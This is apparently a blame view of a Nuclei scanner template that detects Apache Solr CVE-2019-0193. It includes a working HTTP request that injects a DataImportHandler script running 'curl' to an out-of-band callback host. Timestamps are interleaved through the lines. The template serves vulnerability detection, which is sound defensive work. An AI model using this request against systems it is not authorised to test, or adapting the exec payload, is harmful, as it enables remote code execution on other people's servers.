2021-08-09 16:27:30 +00:00
id : CVE-2019-0193
info :
2022-06-15 13:23:51 +00:00
name : Apache Solr DataImportHandler <8.2.0 - Remote Code Execution
2021-08-09 16:27:30 +00:00
author : pdteam
2021-09-10 11:26:40 +00:00
severity : high
2022-06-20 17:35:07 +00:00
description : |
Apache Solr is vulnerable to remote code execution vulnerabilities via the DataImportHandler, an optional but popular module to pull in data from databases and other sources. The module has a feature in which the whole DIH configuration can come from a request's "dataConfig" parameter. The debug mode of the DIH admin screen uses this to allow convenient debugging / development of a DIH config. Since a DIH config can contain scripts, this parameter is a security risk.
2021-08-19 13:59:55 +00:00
reference :
2021-08-19 14:44:46 +00:00
- https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193
- https://paper.seebug.org/1009/
2022-05-17 09:18:12 +00:00
- https://issues.apache.org/jira/browse/SOLR-13669
2022-06-15 13:23:51 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-0193
2022-06-20 17:58:28 +00:00
remediation : |
Starting with version 8.2.0 of Solr, use of this parameter requires setting the Java System property "enable.dih.dataConfigParam" to true.
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 7.2
2021-09-10 11:26:40 +00:00
cve-id : CVE-2019-0193
cwe-id : CWE-94
2022-07-21 17:18:22 +00:00
tags : cve,cve2019,apache,rce,solr,oast,kev
2021-08-09 16:27:30 +00:00
requests :
- raw :
- |
GET /solr/admin/cores?wt=json HTTP/1.1
Host : {{Hostname}}
Accept-Language : en
Connection : close
- |
POST /solr/{{core}}/dataimport?indent=on&wt=json HTTP/1.1
Host : {{Hostname}}
Content-type : application/x-www-form-urlencoded
X-Requested-With : XMLHttpRequest
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22curl%20http://{{interactsh-url}}%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport
extractors :
- type : regex
internal : true
name : core
group : 1
regex :
- '"name"\:"(.*?)"'
matchers-condition : and
matchers :
- type : word
2022-02-21 18:33:16 +00:00
part : interactsh_protocol # Confirms the HTTP Interaction
2021-08-09 16:27:30 +00:00
words :
- "http"
- type : status
status :
- 200
2022-06-15 13:23:51 +00:00
# Enhanced by mp on 2022/06/15